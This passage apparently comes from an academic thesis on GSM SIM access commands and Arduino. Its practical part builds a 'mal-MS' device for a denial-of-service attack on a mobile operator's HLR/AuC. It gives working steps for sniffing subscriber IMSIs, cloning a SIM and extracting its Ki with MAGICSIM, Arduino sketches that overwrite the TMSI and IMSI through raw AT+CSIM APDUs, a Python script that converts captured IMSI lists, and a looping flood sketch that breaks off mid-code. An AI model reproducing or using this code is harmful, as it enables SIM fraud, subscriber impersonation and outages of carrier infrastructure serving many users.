AT+CSIM=14,A0A40000026F07 (select the Elementary File) 
 
AT+CSIM=10,A0D6000009 ("UPDATE BINARY" of the previous file) 
 
Finally, the possible responses when using +CSIM command with success are shown in (figure 12). 

 

Figure 12: Possible success responses 
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5.6.4 Restricted SIM access +CRSM 
 

Command Possible response(s)  
+CRSM=<command>[,<fileid>  

[,<P1>,<P2>,<P3>[,<data>]]]  
+CRSM: <sw1>,<sw2>[,<response>]  

+CME ERROR: <err> 
+CRSM=?  

Table 23: +CRSM command 

Description: By using this command instead of Generic SIM Access +CSIM, TE application has easier 

but more limited access to the SIM/USIM database. Set command transmits to the ME the SIM 

<command> and its required parameters. ME handles internally all SIM-ME interface locking and 

file selection routines. As response to the command, ME sends the actual SIM information 

parameters and response data. 

Defined values: 

 The <command> field: Command passed on by the ME to the SIM (refer GSM 11.11). 

NUMBER COMMAND 

176 READ BINARY 

178 READ RECORD 

192 GET RESPONSE 

214 UPDATE BIMARY 

220 UPDATE RECORD 

242 STATUS 

Table 24: Sub commands 

 The <fileid> field: Is the identifier of an elementary data file on SIM. Mandatory for every 

command except STATUS. 

 The <P1>, <P2>, <P3> field: Parameters passed on by the ME to the SIM. These parameters 

are mandatory for every command, except GET RESPONSE and STATUS. The values are 

described in GSM 11.11. 

 The <data> field: Information shall be written to the SIM (hexadecimal character format) 

 The <sw1>, <sw2> field: Information from the SIM about the execution of the actual 

command.  

 The <response> field: Response of a successful completion of the command, which gives 

information about the current elementary data file. 
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 The <err> field: Returns the relative error and determines it GSM 11.11 

 

Example: To retrieve information from a specific data file from a SIM card using the +CRSM 

command, one command is needed to access the appropriate file. Depending on the hexadecimal 

codes of the files in the SIM card file system structure, a conversion to decimal format before using 

them as a parameter for the command is needed. 

There are many sub commands (see table 24) that are the decimal format of the hexadecimal 

format sub commands of the column "INS" (see figure 11), to process the information data of the 

SIM data files. 

The parameters <P1>, <P2> take decimal format depending the table (see figure 11). Finally the last 

parameter <P3> of the command, identifies the number of bytes that will be returned from the 

specific folder. 

An example to retrieve data from an EF the hexadecimal code of this file is needed. So if the 

hexadecimal code of EF is "6F7E", a conversion of the code into decimal format has to be done. The 

decimal format of “6F7E” is "28542", so the command is: 

AT+CRSM= 176,28542,0,0,11(“READ BINARY”, of the EF, 11 bytes response) 
+CRSM: 144,0,"06BA7C1002F21000260000" 

The response "144,0" is the decimal format of hexadecimal format of the column <sw1> and <sw2> 

(see figure 12) and it means normal ending of the command. 
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6. ARDUINO 
 

6.1 Introduction of Arduino 
 

 

        Figure 13: Arduino Logo 

Arduino is a libre hardware physical computing platform based on a simple input/output (I/O) 

board, a development environment that implements the Processing language and a community of 

users which share their efforts and knowledge in their Arduino based projects.  

Arduino is so popular because it has many advantages such as: 

1. It is a libre hardware and software project, so both software and hardware are extremely 

accessible and very flexible and they can easily be customized and extended. 

2. It is flexible, offers various digital and analog inputs, SPI, I2C, a serial interface and digital 

and PWM outputs. 

3. It is easy to use, because it connects to a computer via USB and communicates using the 

standard serial protocol. 

4. It is inexpensive and it costs less than 30 euro per board and comes with free development 

environment. 

5. It is backed up by a growing on-line community, lots of source code is already available and 

ready to be used. 

Arduino is a great tool for developing interactive objects, taking inputs from a variety of switches or 

sensors and controlling a variety of lights, motors and other outputs. Arduino projects can be stand-

alone or they can be connected to a computer using USB. The Arduino will be seen by the computer 

as a standard serial interface. There are serial communication APIs on most programming languages 

so interfacing Arduino with a software program running on the computer is pretty straight forward. 
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6.2 Hardware of Arduino 
 

 

Figure 14: Arduino Uno 

The Arduino board is a microcontroller board, which is a small circuit (the board) that contains a 

whole computer on a small chip (the microcontroller). There are different versions of the Arduino 

board because they are different in components, aim and size, etc. Some examples of Arduino 

boards are: Arduino UNO (see figure 14), Arduino Mega, Arduino Leonardo, Arduino Nano, Arduino 

Mini, etc. Arduino schematics are distribute using an open license so anyone is free to build his own 

Arduino compatible board. The Arduino name is a registered trademark so it’s not possible to call a 

cloned board Arduino: that’s why it’s very common to find references on *duino boards like 

Seeeduino, FreeDuino, Zigduino, iDuino, etc… 

 

6.2.1 Arduino shields 
 

 

        Figure 15: Arduino GSM shield 

Arduino boards functionalities can be extended by using shields, ad hoc designed PCBs having the 

same pin layout of Arduino, which can be stacked above of it adding additional functionalities. 

There is a huge amount of shields available, each one of them especially designed for one 

application. Some are being developed by the Arduino team while most of them have been 

developed by third party companies or individuals. There are shields for Motor controlling, Ethernet 

communication, MP3 playing, analog video output, LCD displays, GSM (see figure 15), 3G etc... The 

idea is that using a shield is possible to add a specific feature to Arduino without the hassle of 
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developing an ad hoc circuit or PCB trying to implement such feature. Moreover, some shields 

comes with easy to use libraries which allows fast and straightforward application development. 

 

6.3 Arduino Software 
 

The Arduino integrated development environment (IDE) is a cross-platform application written in 

Java, and derives from the IDE for the Processing programming language and the Wiring projects. It 

is designed to introduce programming to artists and other newcomers unfamiliar with software 

development. It includes a code editor with features such as syntax highlighting, brace matching, 

and automatic indentation, and is also capable of compiling and uploading programs to the board 

with a single click. A program or code written for Arduino is called a "sketch". 

Arduino programs are written in C or C++. The Arduino IDE comes with a software library called 

"Wiring" from the original Wiring project, which makes many common input/output operations 

much easier. The users need only to define two functions to make an executable cyclic executive 

program: 

setup(): a function run once at the start of a program that can initialize settings 

loop(): a function called repeatedly until the board powers off 

A typical first program for a microcontroller simply blinks an LED on and off. In the Arduino 

environment, the user might write a program like the below photo: 

 

            Figure 16: Example of Arduino IDE 
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Most Arduino boards contain an LED and a load resistor connected between the pin 13 and ground, 

which is a convenient feature for many simple tests. The previous code would not be seen by a 

standard C++ compiler as a valid program, so when the user clicks the "Upload to I/O board" button 

in the IDE, a copy of the code is written to a temporary file with an extra include header at the top 

and a very simple main() function at the bottom, to make it a valid C++ program. 

The Arduino IDE uses the GNU toolchain and AVR Libc to compile programs, and uses avrdude to 

upload programs to the board. 

As the Arduino platform uses Atmel microcontrollers, Atmel's development environment, AVR 

Studio or the newer Atmel Studio, may also be used to develop software for the Arduino. 

 

6.4 Arduino Community 
 

Like many other free software and hardware projects, what makes Arduino great is the community 

around it. The number of users which everyday collaborate and share through the arduino.cc main 

website is huge. 

The Arduino website contains a publicly editable Wiki, called the Playground, and a forum where 

people can ask for help on their projects or discuss about anything related to Arduino and 

electronics prototyping. 

There are so many people working on Arduino so this fact has multiple advantages: 

 Access to ready to use Arduino based libraries for using many hardware and devices (e.g.: 

motors, sensors, network interfaces etc...) 

 Huge knowledge shared by other people. 

 Possibility to easily ask for help. 

 Find a solution about a problem 
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7. QUALCOMM APPLICATIONS (QXDM, QPST) 
 

7.1 Qualcomm extensible Diagnostic Monitor (QXDM) 
 

 

     Figure 17: QXDM software 

The Qualcomm extensible Diagnostic Monitor (QXDM) is a real-time data collection and diagnostic 

logging tool for measuring mobile-based RF performance. Designed to operate using all commercial 

handsets that contain Qualcomm ASICs and with Qualcomm test/trial phones, QXDM Professional 

displays statistics and diagnostic information, and enables users to read and write non-volatile 

memory. Whether conducting tests in the lab or the field, QXDM Professional is a powerful 

platform for evaluating handset and network performance.  

QXDM Professional has many tools pre-installed. These tools are: 

 Database Editor 

 DLF Converter 

 ISF Converter 

 Item tester 

 ISF Pseudo Sync 

 PPP Extractor 
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The below table describes the functions provided by each tool. 

Tools Functions 

Database Editor The Database Editor provides an interface to describe user-defined 

items using QXDM user databases. 

DLF Converter The DLF Converter converts legacy DLF log files into ISF log files that 

can be loaded into QXDM for analysis. Command line support is also 

provided using the following syntax: DLFConverter <DLF Input 

Filename> <ISF Output Filename> 

ISF Converter The ISF Converter converts ISF log files into legacy DLF log files for 

third-party DLF parsing support tools. Command line support is also 

provided using the following syntax: ISFConverter <–pc> <ISF Input 

Filename> <DLF Output Filename>  

The first option instructs the application to write out a PC timestamp 

in the generated log header for each item that does not contain a 

target timestamp. 

Item tester The Item Tester is useful for viewing and testing items that are 

described in QXDM databases. It also provides legacy script 

command examples for all items described in the QXDM and user 

databases 

ISF Pseudo Sync ISF Timestamp Pseudo-Synchronizer 

PPP Extractor PPP Extractor converts PPP logs generated by the phone to the 

format specified in RFC 1662. 

Table 25: QXDM tools and functions 
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7.2 Qualcomm Product Support Tool (QPST) 
 

 

Figure 18: QPST software 

QPST is a set of Windows tools designed to interface with, control, and test CDMA phones that 

contain QUALCOMM ASICs. The QPST server can keep track of multiple phones on local host 

machines.  

QPST currently consists of the server application, which has no interface and five component, or 

“client,” applications. Two standalone utilities, QCNView and Roaming List Editor, complete the 

QPST tool set. The client applications include: 

 QPST Configuration 

 Service Programming 

 Software Download 

 RF Calibration 

 EFS Explorer 
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The below table describes the functions provided by each QPST client. 

Client Functions 

QPST Configuration ■Provides basic phone status display (MIN, ESN, model)  

■Allows phone control and monitoring 

Service Programming ■Saves service programming data to file  

■Allows the download of the same service programming file to 

multiple phones  

■Allows dialing plan, carrier information, and roaming list download 

Software Download ■Downloads software to QUALCOMM phones  

■Backs up and restores nonvolatile (NV) memory contents between 

downloads 

RF Calibration ■Accesses a SURF™  phone’s NV items that control RF usage 

EFS Explorer ■Allows navigation of the embedded file system (EFS) of phones that 

support it  

■Provides file-management capabilities 

Table 26: QPST clients and functions 

The standalone utilities include: 

 QCNView  

 Roaming List Editor 

The below table describes the functions provided by the standalone utilities. 

Utility name Function 

QCNView Formats QCN files created by the various clients 

Roaming List Editor Edits a phone’s roaming protocol information 

Table 27: QPST standalone utilities and functions 
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PRACTICAL PART 
 

8. INTRODUCTION OF MALWARE MOBILE STASION (mal-MS) 

ATTACK 
 

A requirement to perform the attack is that we must capture IMSIs identities, in order to execute 

authentication data request (ADRs). The number of the captured IMSIs is a key parameter for the 

duration of the DoS attack. In particular, the higher the number of captured IMSIs, the longer the 

attack duration is. IMSIs can be captured easily using a cheap wideband SDR scanner based on a 

DVB-T TV-Tuner USB dongle (see figure 19) and a software tool named Kalibrate to sniff, capture 

and analyze paging requests in a specific LA. In particular, we captured paging requests messages 

from the downlink traffic (i.e., from Base transceiver station (BTS) to MS) and we analyzed them 

using a Wireshark tool. The latter can correctly decode GSM control packets, allowing us to extract 

IMSI identities from the paging requests. Note that in order to flood the targeted HLR/ AuC, we 

should utilize IMSIs that belong to the targeted HLR/AuC. Despite the fact that an attacker do not 

know to which HLR/AuC an IMSI is subscribed, they can identify if an IMSI belongs to the mobile 

operator of the targeted HLR/AuC, based on the mobile country code (MCC)/ mobile network code 

(MNC) codes of the IMSI. In this way, we can utilize IMSIs that belong to the mobile operator of the 

targeted HLR/AuC, increasing the probability a utilized IMSI reach the targeted HRL/AuC. Apart 

from DVB-T TV-Tuner USB dongle, we must own a special device (Arduino) that we name it mal-MS, 

which is capable of, consequently, executing a registration procedure, using a different IMSI for 

each registration attempt. 

 

     Figure 19 : USB DVB-T Receiver 
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9. mal-MS: ATTACK ANALYSIS 
 

The studied DoS attack is carried out in a geographically distributed manner. More specifically, 

cooperative adversaries that reside in different countries, or in the same country but in different 

location areas (i.e., areas served from different mobile switching center (MSC)/ serving GPRS 

support node (SGSN), initiate at the same time registration procedures). This guarantees that each 

adversary uses a different MSC/SGSN to flood the targeted HLR/AuC. This is crucial to perform the 

attack, because if the adversaries tried to flood the targeted HLR/AuC, only, from one MSC/SGSN, 

the latter would become a bottleneck, and the malicious registration messages would never reach 

the targeted HLR/AuC. Another advantage of using multiple MSC/SGSNs to perform the attack is 

that the same IMSI can be used multiple times to perform registrations and flood the targeted 

HLR/AuC. It is worth to mention, that each IMSI can be used, only, once to reach the targeted 

HLR/AuC, due to the caching mechanism of the AVs in MSC/SGSN. By utilizing multiple MSC/SGSNs, 

we avoid this limitation, because each IMSI can be used more than once (specifically, equal to the 

number of participating MSC/SGSN) to flood the HLR/AuC, since they will be originated from 

different MSC/SGSN. Finally, it is important to notice that to successfully perform the DoS attack, 

the consecutive registration messages should not strain the radio network elements, including 

Node B and Radio Network Controller (RNCs). For this reason, each adversary can establish parallel 

Radio Resource Control (RRC) connections with different Node Bs and RNCs that belong to different 

mobile operators. In this way, the malicious registration messages traverse through multiple radio 

paths to reach and flood the targeted HLR/AuC. 

The considered attack is performed by each participating mal-MS, which executes the attacking 

protocol (see Figure 20). First, the mal-MS establishes a RRC connection with Node B (SGSN), using 

a non-valid TMSI. Next, the mal-MS initiates a phone call by sending a service request message to 

MSC/ SGSN, using the same TMSI. Since the TMSI is not valid, the MSC/SGSN does not recognize it 

and requests from the mal-MS a valid IMSI, using an identity request message (see Figure 20). After 

that, the mal-MS chooses and sends to MSC/SGSN a captured IMSI in an identity response message. 

The MSC/SGSN does not have any stored AVs for the specific IMSI, since the mal-MS is located in a 

roaming network. This means that the MSC/SGSN, which serves the mal-MS, has to contact and 

obtain subscriber's information from the targeted HLR/AuC, which is located in the home network 

of the IMSI (see Figure 20). Thus, the MSC/SGSN sends to the targeted HLR/AuC an ADR message, 

including the IMSI, to generate fresh authentication vectors (AVs). The targeted HLR/AuC is forced 

to generate a batch of L AVs for the specific IMSI and send them to the MSC/SGSN in an 

authentication data response message. 

This procedure is carried out, repeatedly, from each mal-MS, initiating a phone call to perform a 

registration in a very short time. In this way, a great amount of ADR messages is directed from the 

roaming MSC/SGSN to the targeted HLR/AuC, which is successively forced to generate AVs for each 

received IMSI, depleting its computational resources. Eventually, the targeted HLR/AuC reaches a 

saturation point and cannot serve new requests (legitimate or malicious). 
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Figure 20: Phone call setup with registration of MS in the roaming network 
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10. IMPLEMENTATION OF mal-MS ATTACK 
 

10.1 Cloning a Sim card 
 

The first step to be able to achieve the implementation of mal-MS was to clone a sim card because 

only in clone card can update the IMSI.  

This happens because in original card we cannot update the IMSI unless have Administrative file 

access control. So for this purpose, we used a cheap sim card reader, a software tool named 

MAGICSIM (see figure 21) to scan the original sim card and extract Ki, IMSI and a reprogramming 

sim card to clone the original sim card. To achieve this, we used a sim card which implement the 

COMP128v1 algorithm for security so we were able to extract the Ki and IMSI with success in about 

15 minutes (see figure 22) and save it on our computer. After that we copy all the data which 

extract from original sim card to the clone sim card. Finally, the clone sim will be identical to the 

original (see figure 23).  

It is important to mention that if you try to make two calls at the same time, one will connect and 

the other will say call failed, both phones will get the same messages, text and voice, and both will 

receive the same calls, but only one can talk at a time. 

 

 

Figure 21: MAGICSIM program 
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Figure 22: Extract Ki, Imsi from original card 

 

 

Figure 23: Write data to clone card with success 
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10.2 Update TMSI with Arduino with GSM shield and AT commands 
 

The second step to be able to achieve the implementation of mal-MS was to update TMSI in a new 

not valid TMSI.  

The TMSI is the identity that is most commonly sent between the mobile and the network. TMSI is 

randomly assigned by the Visitor Location Register (VLR) to every mobile in the area, the moment it 

is switched on. The number is local to a location area, and so it has to be updated each time the 

mobile moves to a new geographical area. 

The size of TMSI is 4 octet with full hex digits and can't be all 1 because the SIM uses 4 octets with 

all bits equal to 1 to indicate that no valid TMSI is available. 

The network can change the TMSI of the mobile at any time. And it normally does so, in order to 

avoid the subscriber from being identified, and tracked by eavesdroppers on the radio interface. 

This makes it difficult to trace which mobile is which, except briefly, when the mobile is just 

switched on, or when the data in the mobile becomes invalid for one reason or another. 

So in order to update the TMSI successfully we used Arduino with GSM shield and AT commands. In 

particular, we used Arduino software IDE to develop a program that can find the TMSI with help of 

+CSIM AT command, so we can update it to a new not valid TMSI (see below code). It is important 

to mention that in order to update TMSI we must have CHV1 access control of sim card. 

 

1. #include <GSM.h>   
2.    
3. // initialize the library instance   
4. GSM gsmAccess(true);    // GSM access: include a 'true' parameter for debug enabled   
5. // you need modemAccess to access the function writeModemCommand   
6. // that function allows you to specify a delay for getting the answer from the gsm module   
7. GSM3ShieldV1DirectModemProvider modemAccess;   
8.    
9. // PIN Number   
10. #define PINNUMBER "1908"  // Here you put your PINNUMBER not 1908 otherwise the sim card 

will block   
11. char answer[100];   
12. int c=0;   
13.    
14. void setup()   
15. {   
16.   Serial.begin(9600);   
17.   Serial.println("Connecting to the GSM network: ");   
18.      
19.     if(gsmAccess.begin(PINNUMBER) == GSM_READY)   
20.     {   
21.       Serial.println("Connected.");   
22.       Serial.print("\n");   
23.    
24.       Serial.print("=======================================================================

===============================================");   
25.    
26.       Serial.print("\n");   
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27.     }   
28.     else   
29.     {   
30.       Serial.println("Not connected, trying again");   
31.       delay(1000);   
32.     }   
33.    
34. }   
35.    
36. void loop()   
37. {   
38.   c=0 // Counter   
39.   while(c<1) // For  loop   
40.   {   
41.   c=c+1;   
42.   atcommands(); // Call Function   
43.   }   
44.      
45.   while(true);   
46. }   
47.    
48. void atcommands()   
49. {   
50. Serial.print("\n");   
51. Serial.println("Do a Call: ");   
52. Serial.println(modemAccess.writeModemCommand("ATD6980765765;",1000));    
53. delay(5000);   
54.    
55. Serial.print("\n\n");   
56. Serial.print("\n\n");   
57. Serial.println("Update the TMSI: ");   
58.    
59. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A40000026F7E\"",1000));  
60. // Find Tmsi File 
61.    
62. Serial.println(modemAccess.writeModemCommand("AT+CSIM=10,\"A0B0000004\"",1000));   
63. // Show Tmsi   
64.    
65. Serial.println(modemAccess.writeModemCommand("AT+CSIM=22,\"A0D6000004111111119000\"",1000))

; // Update Tmsi   
66.    
67. Serial.println(modemAccess.writeModemCommand("AT+CSIM=10,\"A0B0000004\"",1000));  
68. // Show Tmsi   
69.    
70. Serial.print("\n\n");   
71. Serial.println("Stop the call: ");   
72. Serial.println(modemAccess.writeModemCommand("ATH",1000));    
73. Serial.print("\n");   
74. }   
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Then we run the program to see in the serial monitor of Arduino the results and especially if the 

TMSI updated successfully (see figure 24). 

 

 

Figure 24: Serial Monitor TMSI update results 

 

 

10.3 Update IMSI with Arduino with GSM shield and AT commands 
 

After the successfully update of TMSI, the third step to be able to achieve the implementation of 

mal-MS was to update IMSI dynamically. 

The IMSI is used to identify the user of a cellular network and is a unique identification associated 

with all cellular networks. It is stored as a 64 bit field and is sent by the phone to the network. It is 

also used for acquiring other details of the mobile in the HLR or as locally copied in the visitor 

location register. To prevent eavesdroppers identifying and tracking the subscriber on the radio 

interface, the IMSI is sent as rarely as possible and a randomly generated TMSI is sent instead. 
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An IMSI is usually presented as a 15 digit long number but can be shorter. The first 3 digits are the 

MCC, which are followed by MNC, either 2 digits (European standard) or 3 digits (North American 

standard). The length of the MNC depends on the value of the MCC. The remaining digits are the 

mobile subscription identification number (MSIN) within the network's customer base. 

The IMSI in sim cards can update only from provider because it has Administrator access control 

files. 

So the first thing that we did after we clone the original sim card, was to find the specific 

elementary file and his size in the clone Sim card to be able to update the IMSI. This was quite 

difficult because they do not exist in the internet so much information’s about the files of our clone 

sim card but we found it after many tests in 000C position of file system.  

In this elementary file (000C) we cannot update IMSI alone because it contains and other records 

such as ICCID, Ki and short message service parameters (SMSP). So, we had to find the size of 

elementary file 000C. This was 5A in Hexadecimal format. After that we were finally ready to read 

the records (see figure 25).  

 

Figure 25: Elementary file (000C) records 

 

After completing all these actions, we developed on Arduino software IDE a program to be able to 

update IMSI dynamically (see below code). It is important to notice that the records in the 

elementary file 000C is not the same in all the clone Sim cards which sold in market. 

 

1. #include <GSM.h>   
2.    
3. // initialize the library instance   
4. GSM gsmAccess(true);    // GSM access: include a 'true' parameter for debug enabled   
5. // you need modemAccess to access the function writeModemCommand   
6. // that function allows you to specify a delay for getting the answer from the gsm module   
7. GSM3ShieldV1DirectModemProvider modemAccess;   
8.    
9. // PIN Number   
10. #define PINNUMBER "1908"  // Here you put your PINNUMBER not 1908 otherwise the sim card 

will block 
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11.    
12. int c=0;   
13.    
14. void setup()   
15. {   
16.   Serial.begin(9600);   
17.    
18.   Serial.println("Connecting to the GSM network: ");   
19.    
20.     if(gsmAccess.begin(PINNUMBER) == GSM_READY)   
21.     {   
22.       Serial.println("Connected.");   
23.       Serial.print("\n");   
24.       Serial.print("=======================================================================

===============================================");   
25.       Serial.print("\n");   
26.     }   
27.     else   
28.     {   
29.       Serial.println("Not connected, trying again");   
30.       delay(1000);   
31.     }   
32.    
33. }   
34.    
35. void loop()   
36. {   
37.   c=0;   
38.   while(c<1) // Loop   
39.   {   
40.   c=c+1;   
41.   atcommands(); // Call Function   
42.   }   
43.      
44.   while(true);   
45. }   
46.    
47. void atcommands()   
48. {   
49. Serial.print("\n");   
50. Serial.println("Do a Call: ");   
51. Serial.println(modemAccess.writeModemCommand("ATD6909765765;",1000));   
52. delay(5000);   
53. Serial.print("\n\n");   
54.    
55. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A40000023F00\"",1000));  
56. // Select MF   
57.    
58. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A4000002000C\"",1000));  
59. // It contains ICCID,the user-modifiable IMSI,Ki,SMSP.   
60.    
61. Serial.println(modemAccess.writeModemCommand("AT+CSIM=10,\"A0B201045A\"",1000));  
62. // Read ki,imsi,iccid   
63.    
64. Serial.println(modemAccess.writeModemCommand("AT+CSIM=194,\"A0DC01045A813639333436303034343

3FFFFFFFF980301000030509904390829417055508643341B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFF
FFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF08910396537900F0FF1F0E00FFFFFF9000\"",1000));  

65. // Update records   
66.    
67. Serial.print("\n\n");   
68. Serial.println("Stop the call: ");   
69. Serial.println(modemAccess.writeModemCommand("ATH",1000));    
70. Serial.print("\n");   
71. }   
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Then we run the program to see in the serial monitor of arduino the results and especially how the 

IMSI update successfully (see figure 26). 

 

 

 

Figure 26: Serial monitor results 
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10.4 Convert IMSI to be able to send in APDU format 
 

The fourth step to achieve the implementation of mal-MS was to convert the database of roaming 

IMSI identities that we have captured and analyzed them using Wireshark Application to be able to 

send in APDU format. 

For example if we have an IMSI 250016500004825 the steps to convert in APDU format are: 

1. We should add 809 in front of the IMSI. The new IMSI that has create is 

809250016500004825.  

2. We should reverse the numbers of 809250016500004825 IMSI. The final result that has 

create is 082905105600008452. 

This whole process is difficult to do it manually because when we have a big database of roaming 

IMSIs identities there is always the possibility to do something wrong. So for this purpose we 

developed a program in programming language Python to convert the IMSIs identities easy and fast 

and remove duplicates if exists (see below code). We should mention that in order to work this 

program correctly the input file that has the database of roaming IMSIs identities should be like as 

the figure 27 or without parenthesis. After running the program we can see how the program 

convert the roaming IMSIs identities and without duplicates in figure 28. 

 

 

Figure 27: IMSIs roaming identities 
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1. import sys   
2. import string   
3. import re   
4. import os   
5. num = '809'   
6.    
7. input_file = sys.argv[1]  # select the input file   
8.    
9. my_file = open(input_file,'r+') #Open the file   
10. lines = my_file.readlines()   
11.    
12. for line in lines:               
13.     if len(line) == 16 or len(line) == 18:   # if the IMSI have parenthesis increase the si

ze   
14.         if line.startswith('809'):    
15.             my_file.write(line)    
16.         else:   
17.             my_file.write(num+line)                       
18.     else:   
19.         print '=======Not valid IMSI length------DELETE==========='   
20.       
21. my_file.seek(0)   # call resets the pointer's position to the start of the file   
22. Capture = my_file.read()    
23. remove_parenthesis =re.sub('[()]', '', Capture)   
24. my_file.seek(0)   
25. my_file.truncate()  # Truncate the file's size   
26. my_file.write(remove_parenthesis)       
27. my_file.seek(0)   
28. Capture2 = my_file.read()     
29. my_file.seek(0)   
30. my_file.truncate()   
31. Operator = ['809']   
32.    
33.    
34.    
35.    
36. for z in Operator:   
37.     match1 = re.search(z, Capture2)   
38.     match2 = re.finditer(z, Capture2)   
39.     
40.     counter=0   
41.     if match1:                       
42.         for i in match2:     
43.             counter=counter+1   
44.             PatternPosition = i.start(0) # the starting position of the keyword   
45.             TotalLength = len(Capture2) # total Length of the file   
46.             LenIMSI = 18 # length of the imsi    
47.             RemoveFromTheEnd = TotalLength -( LenIMSI + PatternPosition + len(Capture2))   
48.             IMSI = Capture2[PatternPosition +len(z) -3 :- RemoveFromTheEnd]   
49.             Arrey=[]   
50.             L = len(IMSI)   
51.             for i in range(0, L, 2): #swith the character of the hex value   
52.                 M3=IMSI[i:i+2] # Store in M3 the hex numbers   
53.                 first = M3[:1] #store in first the first char   
54.                 second =M3[1:] # store in second the second char   
55.                 final = second + first # put the 2 chars in reverse order   
56.                 Arrey.append(final) # store them in a new arrey   
57.         
58.         finalIMSI=''   
59.         for i in range (0 , len(Arrey)):   
60.             
61.                 finalIMSI = finalIMSI + Arrey[i]   
62.                 Imsi = finalIMSI   
63.         my_file.write(Imsi + '\n')   
64.    
65.            
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66.     else:   
67.         print '=======Did not find a valid IMSI=========='   
68.         exit()   
69.    
70.    
71. my_file.seek(0)            
72. read_file = my_file.read()   
73. my_file.seek(0)   
74. my_file.truncate()   
75. words = set()   
76. result = []   
77. split_word = read_file.split()   
78. for word in split_word:   
79.     if word not in words:   
80.             result.append(word)   
81.             words.add(word)   
82.     remove_duplicates= ' '.join(result)   
83.     final_text2 = remove_duplicates.split()   
84. for final_word2 in final_text2:      
85.     my_file.write(final_word2 + '\n' )         
86.    
87.                
88. my_file.close()   

 

 

Figure 28: IMSIs roaming identities after convert 

 

10.5 Ready for implementation of mal-MS 
 

After the successfully update of TMSI and IMSI, the last step was to implement mal-MS by sending 

a not valid TMSI identity and a lot of different roaming IMSIs identities in a short time to perform a 

DoS attack but we were faced with a big problem. The problem is that the Arduino board that we 

used has low memory.  

More specifically, there are three pools of memory in the microcontroller used on avr-based 

Arduino boards: 

 Flash memory (program space), is where the Arduino sketch is stored. 
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 SRAM (static random access memory) is where the sketch creates and manipulates variables 

when it runs. 

 EEPROM is memory space that programmers can use to store long-term information. 

Flash memory and EEPROM memory are non-volatile (the information persists after the power is 

turned off). SRAM is volatile and will be lost when the power is cycled. 

The Arduino board that we were used was Arduino Uno. The Arduino Uno has the following 

amounts of memory: 

 Flash  32k bytes (of which .5k is used for the bootloader) 

 SRAM   2k bytes 

 EEPROM 1k byte 

So, as is easily understood the Arduino Uno has low SRAM memory and that is a big problem which 

had to face up because in our case we must send a lot of big strings that “eating” a lot of memory. 

To address this problem because we do not want to modify the strings that the sketch is running, 

we used PROGREM which is part of the (pgmspace.h) library.  

The PROGREM keyword is a variable modifier, it should be used only with the datatypes defined in 

pgmspace.h. More specifically, it tells the compiler "put this information into flash memory", 

instead of into SRAM, where it would normally go. So we that trick, were able to use a bigger 

memory (Flash) instead of SRAM to send a not valid TMSI identity and the different roaming IMSIs 

identities. 

It is important to mention that the greater the database of roaming IMSIs is to send the better 

results we have to perform a successful DoS attack, so it is good to use another Arduino board that 

has bigger Flash memory, as for example Mega2560 board (256k bytes).  

After we found the solution for the problem, we developed the final program on Arduino software 

IDE which gave the ability to our device (Arduino Uno) consequently, executing a registration 

procedure, using a different roaming IMSI identity for each registration attempt (mal-MS). 

 



 

59 

1. #include <GSM.h>   
2.    
3. // initialize the library instance   
4. GSM gsmAccess(true);    // GSM access: include a 'true' parameter for debug enabled   
5. // you need modemAccess to access the function writeModemCommand   
6. // that function allows you to specify a delay for getting the answer from the gsm module   
7. GSM3ShieldV1DirectModemProvider modemAccess;   
8.    
9. // PIN Number   
10. #define PINNUMBER "1908"  // Here you put your PINNUMBER not 1908 otherwise the sim card 

will block 
11. #include <avr/pgmspace.h>   
12. int c;   
13. int i=0;   
14. char const string_0[] PROGMEM = "082940407381945033";  
15. // "String 0" etc are strings to store - change to suit.   
16. char const string_1[] PROGMEM = "082922888112283109";   
17. char const string_2[] PROGMEM = "085951303201769665";   
18. char const string_3[] PROGMEM = "082980103320139395";   
19. char const string_4[] PROGMEM = "082943021710139655";   
20. char const string_5[] PROGMEM = "082905991501328203";   
21. char const string_6[] PROGMEM = "082905991760947387";   
22. char const string_7[] PROGMEM = "082955106407056929";   
23. char const string_8[] PROGMEM = "082955309003201280";   
24. char const string_9[] PROGMEM = "082926106302818000";   
25. char const string_10[] PROGMEM = "083901146060721397";   
26.    
27. // Set up a table to refer to your strings.   
28. PGM_P const string_table[] PROGMEM = // change "string_table" name to suit   
29. {   
30.   string_0,   
31.   string_1,   
32.   string_2,   
33.   string_3,   
34.   string_4,   
35.   string_5,   
36.   string_6,   
37.   string_7,   
38.   string_8,   
39.   string_9,   
40.   string_10   
41. };   
42.    
43. char buffer[30]; // Make sure this is large enough for the largest string it must hold   
44. char word1[30]="AT+CSIM=194,\"";   
45. char word2[80]="A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439";    
46. char finalword[195];   
47. char word3[120]="1B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFF

FFFFFFFF08910396537900F0FF1F0E00FFFFFF9000\"";   
48.    
49. void setup()   
50. {   
51.   Serial.begin(9600);   
52.    
53.      
54.   Serial.println("Connecting to the GSM network: ");   
55.      
56.     if(gsmAccess.begin(PINNUMBER) == GSM_READY)   
57.     {   
58.       Serial.println("Connected.");   
59.       Serial.print("\n");   
60.       Serial.print("=======================================================================

===============================================");   
61.       Serial.print("\n");   
62.     }   
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63.     else   
64.     {   
65.       Serial.println("Not connected, trying again");   
66.       delay(1000);   
67.     }   
68.    
69. }   
70.    
71. void loop()   
72. {   
73.   c=0;   
74.   updateTMSI();   
75.      
76.   while(c<10) // For  loop   
77.   {   
78.   c=c+1;   
79.   Serial.println("Counter: ");    // Counter   
80.   Serial.print(c);    
81.   Serial.print("\n");   
82.   updateIMSI();     
83.   }   
84.      
85.   while(true);   
86. }   
87.    
88. void updateTMSI()   
89. {   
90. Serial.println("Update the TMSI: ");  
91. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A40000026F7E\"",1000));  
92. // Find Tmsi file   
93. Serial.println(modemAccess.writeModemCommand("AT+CSIM=22,\"A0D6000004111111119000\"",1000))

; // Update Tmsi   
94. }   
95.    
96.    
97. void updateIMSI()   
98. {   
99. finalword[0] = '\0';   
100. strcpy_P(buffer, (PGM_P)pgm_read_word(&(string_table[i])));   
101. strcat(finalword,word1);   
102. strcat(finalword,word2);   
